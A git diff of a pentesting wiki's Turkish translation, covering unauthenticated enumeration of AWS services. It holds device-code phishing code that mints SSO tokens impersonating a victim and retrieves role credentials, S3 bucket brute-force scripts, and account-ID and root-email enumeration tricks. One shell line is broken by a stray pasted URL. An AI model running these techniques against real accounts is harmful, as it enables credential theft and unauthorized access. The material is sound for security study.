+Eğer kurban **zaten AWS'de oturum açmışsa**, sadece izinleri vermeyi kabul etmesi gerekecek; eğer oturum açmamışsa, **oturum açması ve ardından izinleri vermeyi kabul etmesi** gerekecek.\ +Bu, günümüzdeki istemin görünümüdür:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **SSO erişim token'ını alın** +Eğer kurban istemi kabul ettiyse, **kullanıcıyı taklit ederek bir SSO token'ı oluşturmak için bu kodu çalıştırın**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +SSO erişim belirteci **8 saat geçerlidir**. -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **Kullanıcıyı taklit et** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` - ### Phishing the unphisable MFA -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +Önceki saldırının **"unphisable MFA" (webAuth) kullanılsa bile çalıştığını** bilmek eğlenceli. Bunun nedeni, önceki **iş akışının kullanılan OAuth alanını asla terk etmemesidir**. Kullanıcının giriş alanını değiştirmesi gereken diğer phishing saldırılarının aksine, cihaz kodu iş akışı, **bir cihaz tarafından bilinen bir kodun** hazırlandığı bir durumdur ve kullanıcı farklı bir makinede bile giriş yapabilir. İstemi kabul ederse, cihaz, sadece **ilk kodu bilerek**, kullanıcının **kimlik bilgilerini** **geri alabilecektir**. -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). +Daha fazla bilgi için [**bu gönderiye göz atın**](https://mjg59.dreamwidth.org/62175.html). ### Automatic Tools @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..899cd2f9f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,17 +1,11 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Genel URL şablonu ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..1cd67bf3f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kamuya Açık URL şablonu ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..abd9d4612 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,26 +1,20 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda Kimlik Doğrulaması Olmadan Erişim {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## Genel Fonksiyon URL'si -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +Herkesin erişebileceği bir **genel fonksiyon URL'si** ile bir **Lambda** ilişkilendirmek mümkündür. Web güvenlik açıkları içerebilir. +### Genel URL şablonu ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### Hesap ID'sini kamu Lambda URL'sinden alın -### Get Account ID from public Lambda URL +S3 bucket'ları, Data Exchange ve API geçitleri gibi, kamu lambda URL'sinden **`aws:ResourceAccount`** **Policy Condition Key**'sini kötüye kullanarak bir hesabın hesap ID'sini bulmak mümkündür. Bu, politikanın **`aws:ResourceAccount`** bölümünde joker karakterleri kullanarak hesap ID'sini birer birer bulmakla yapılır.\ +Bu teknik, tag anahtarını biliyorsanız **tag değerlerini** de almanıza olanak tanır (bazı varsayılan ilginç olanlar vardır). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..4a89cdaaa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kamuya Açık URL şablonu ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..9542b9c27 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -1,26 +1,20 @@ -# AWS - MQ Unauthenticated Enum +# AWS - MQ Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## Genel Port ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +**RabbitMQ** durumunda, **varsayılan olarak genel erişim** ve ssl etkinleştirilmiştir. Ancak erişim için **kimlik bilgilerine** ihtiyacınız var (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Ayrıca, kimlik bilgilerini biliyorsanız **web yönetim konsoluna erişmek** mümkündür `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. - -### Public URL template +**ActiveMQ** durumunda, varsayılan olarak genel erişim ve ssl etkinleştirilmiştir, ancak erişim için kimlik bilgilerine ihtiyacınız var. +### Genel URL şablonu ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..0ba3ca528 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,22 +1,16 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### Genel Port -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +**Kafka aracısını genel olarak açmak mümkündür**, ancak **kimlik bilgilerine**, IAM izinlerine veya geçerli bir sertifikaya ihtiyacınız olacak (yapılandırılan kimlik doğrulama yöntemine bağlı olarak). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +Ayrıca **kimlik doğrulamayı devre dışı bırakmak da mümkündür**, ancak bu durumda **portu doğrudan** İnternete açmak **mümkün değildir**. +### Genel URL şablonu ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..63c37bc5f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,23 +1,22 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} ## RDS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## Genel Port -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +**Veritabanına internetten** genel erişim sağlamak mümkündür. Saldırganın **kullanıcı adı ve şifreyi,** IAM erişimini veya veritabanına girmek için bir **açığı** bilmesi gerekecektir. -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## Genel RDS Anlık Görüntüleri +AWS, **herkese RDS anlık görüntülerini indirme erişimi verme** imkanı tanır. Bu genel RDS anlık görüntülerini kendi hesabınızdan çok kolay bir şekilde listeleyebilirsiniz: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Genel URL şablonu ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..dae7a63f8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -1,15 +1,9 @@ -# AWS - Redshift Unauthenticated Enum +# AWS - Redshift Yetkisiz Enum {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kamuya Açık URL şablonu ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..8c60311eb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -1,43 +1,43 @@ -# AWS - S3 Unauthenticated Enum +# AWS - S3 Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} -## S3 Public Buckets +## S3 Kamu Bucket'ları -A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +Bir bucket, **herhangi bir kullanıcının** bucket'ın içeriğini listeleyebilmesi durumunda **“kamu”** olarak kabul edilir ve **sadece belirli kullanıcılar tarafından** bucket'ın içeriğinin **listeleyip yazılabildiği** durumlarda **“özel”** olarak kabul edilir. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +Şirketler, AWS'deki herhangi bir hesapta **her şeye veya herkese** erişim sağlayan **bucket izinlerini yanlış yapılandırmış** olabilir (yani, herkese). Bu tür yanlış yapılandırmalarda, bucket'ların kendi erişim kontrol listeleri (ACL'ler) olabileceğinden bazı eylemlerin gerçekleştirilemeyeceğini unutmayın. -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**AWS-S3 yanlış yapılandırması hakkında bilgi edinin:** [**http://flaws.cloud**](http://flaws.cloud/) **ve** [**http://flaws2.cloud/**](http://flaws2.cloud) -### Finding AWS Buckets +### AWS Bucket'larını Bulma -Different methods to find when a webpage is using AWS to storage some resources: +Bir web sayfasının bazı kaynakları depolamak için AWS kullanıp kullanmadığını bulmanın farklı yöntemleri: -#### Enumeration & OSINT: +#### Enum ve OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- **wappalyzer** tarayıcı eklentisini kullanma +- Burp kullanarak (**web'i tarama**) veya sayfada manuel olarak gezinerek tüm **yüklenen kaynaklar** Geçmiş'e kaydedilecektir. +- **Kaynakları kontrol et** şu alanlarda: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- `resources.domain.com` gibi **CNAMES** kontrol edin, bu CNAME `bucket.s3.amazonaws.com` olabilir. +- Zaten **keşfedilmiş açık bucket'lar** ile bir web olan [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) adresini kontrol edin. +- **bucket adı** ve **bucket alan adı** **aynı olmalıdır.** +- **flaws.cloud** **IP** 52.92.181.107'dir ve oraya giderseniz sizi [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) adresine yönlendirir. Ayrıca, `dig -x 52.92.181.107` komutu `s3-website-us-west-2.amazonaws.com` verir. +- Bir bucket olup olmadığını kontrol etmek için [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) adresini de **ziyaret edebilirsiniz**. -#### Brute-Force +#### Kaba Kuvvet -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Kaba kuvvet kullanarak, pentesting yaptığınız şirketle ilgili **isimleri zorlayarak** bucket'ları bulabilirsiniz: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Potansiyel bucket adları içeren bir liste içerir) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -45,48 +45,47 @@ You can find buckets by **brute-forcing name**s related to the company you are p - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Generate a wordlist to create permutations
+
# Permutasyonlar oluşturmak için bir kelime listesi oluştur
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
+# Test etmek için alanlar ve alt alanlar temelinde bir kelime listesi oluştur
+## Bu alanları ve alt alanları subdomains.txt dosyasına yazın
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Create permutations based in a list with the domains and subdomains to attack
+# Saldırı için alanlar ve alt alanlar içeren bir listeye dayalı permutasyonlar oluştur
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## Önceki araç, alt alanlar için permutasyonlar oluşturma konusunda uzmanlaşmıştır, bu listeyi filtreleyelim
+### "." ile biten satırları kaldır
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### TLD olmadan liste oluştur
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Noktalar olmadan liste oluştur
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Tireler olmadan liste oluştur
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Nihai kelime listesini oluştur
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## s3scanner'ı çağır
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 
-#### Loot S3 Buckets +#### S3 Bucket'larından Loot -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Açık S3 bucket'ları verildiğinde, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) otomatik olarak **ilginç bilgileri arayabilir**. -### Find the Region +### Bölgeyi Bulma -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +AWS tarafından desteklenen tüm bölgeleri [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) adresinde bulabilirsiniz. -#### By DNS - -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +#### DNS ile +Bir bucket'ın bölgesini, keşfedilen IP'nin **DNS isteğini** yaparak **`dig`** ve **`nslookup`** ile alabilirsiniz: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,31 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` +Kontrol edin ki çözümlenen alan adında "website" kelimesi var.\ +Statik web sitesine erişmek için: `flaws.cloud.s3-website-us-west-2.amazonaws.com` adresine gidebilirsiniz\ +veya kovaya erişmek için: `flaws.cloud.s3-us-west-2.amazonaws.com` adresini ziyaret edebilirsiniz. -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +#### Deneyerek -#### By Trying - -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Bir kovaya erişmeye çalıştığınızda, ancak **belirttiğiniz alan adında başka bir bölge** varsa (örneğin, kova `bucket.s3.amazonaws.com` içindeyse ama siz `bucket.s3-website-us-west-2.amazonaws.com` adresine erişmeye çalışıyorsanız, o zaman **doğru konuma yönlendirileceksiniz**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Kovanın Enumerasyonu -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Kovanın açıklığını test etmek için bir kullanıcı sadece URL'yi web tarayıcısına girebilir. Özel bir kova "Erişim Reddedildi" yanıtı verir. Kamuya açık bir kova, depolanan ilk 1.000 nesneyi listeleyecektir. -Open to everyone: +Herkese açık: ![](<../../../images/image (201).png>) -Private: +Özel: ![](<../../../images/image (83).png>) -You can also check this with the cli: - +Bunu cli ile de kontrol edebilirsiniz: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Eğer bucket'ın bir alan adı yoksa, onu listelemeye çalışırken **sadece bucket adını** yazın ve tüm AWSs3 alan adını değil. Örnek: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Kamu URL şablonu ``` https://{user_provided}.s3.amazonaws.com ``` +### Kamuya Açık Bucket'tan Hesap Kimliği Alın -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +Yeni **`S3:ResourceAccount`** **Politika Koşul Anahtarı**'ndan yararlanarak bir AWS hesabını belirlemek mümkündür. Bu koşul, bir hesabın bulunduğu S3 bucket'a dayalı olarak **erişimi kısıtlar** (diğer hesap tabanlı politikalar, talep eden ilkenin bulunduğu hesaba göre kısıtlar).\ +Ve politika **joker karakterler** içerebildiğinden, hesap numarasını **sadece bir rakamda** bulmak mümkündür. +Bu araç süreci otomatikleştirir: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Bu teknik, API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile çalışır ve hatta etiketlerin değerini almak için (etiket anahtarını biliyorsanız) kullanılabilir. Daha fazla bilgi için [**orijinal araştırma**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracını bulabilirsiniz. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### Bir bucket'ın AWS hesabına ait olduğunu doğrulama +[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, **bir bucket'ı listeleme izinleriniz varsa** bir isteği göndererek bucket'ın ait olduğu accountID'yi doğrulamak mümkündür: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +Eğer hata “Erişim Reddedildi” ise, bu hesap kimliğinin yanlış olduğu anlamına gelir. -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### Root hesap numaralandırması için Kullanılan E-postalar +[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını **bir e-posta adresine S3 bucket üzerinde ACL'ler aracılığıyla izin vermeyi deneyerek** kontrol etmek mümkündür. Eğer bu bir hata tetiklemiyorsa, bu e-posta bazı AWS hesaplarının root kullanıcısıdır: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## Referanslar - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..c135f768c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,25 +1,21 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS Kimlik Doğrulamasız Enum {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information about SNS check: +SNS hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Herkese Açık -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Web konsolundan bir SNS konusu yapılandırdığınızda, **Herkesin 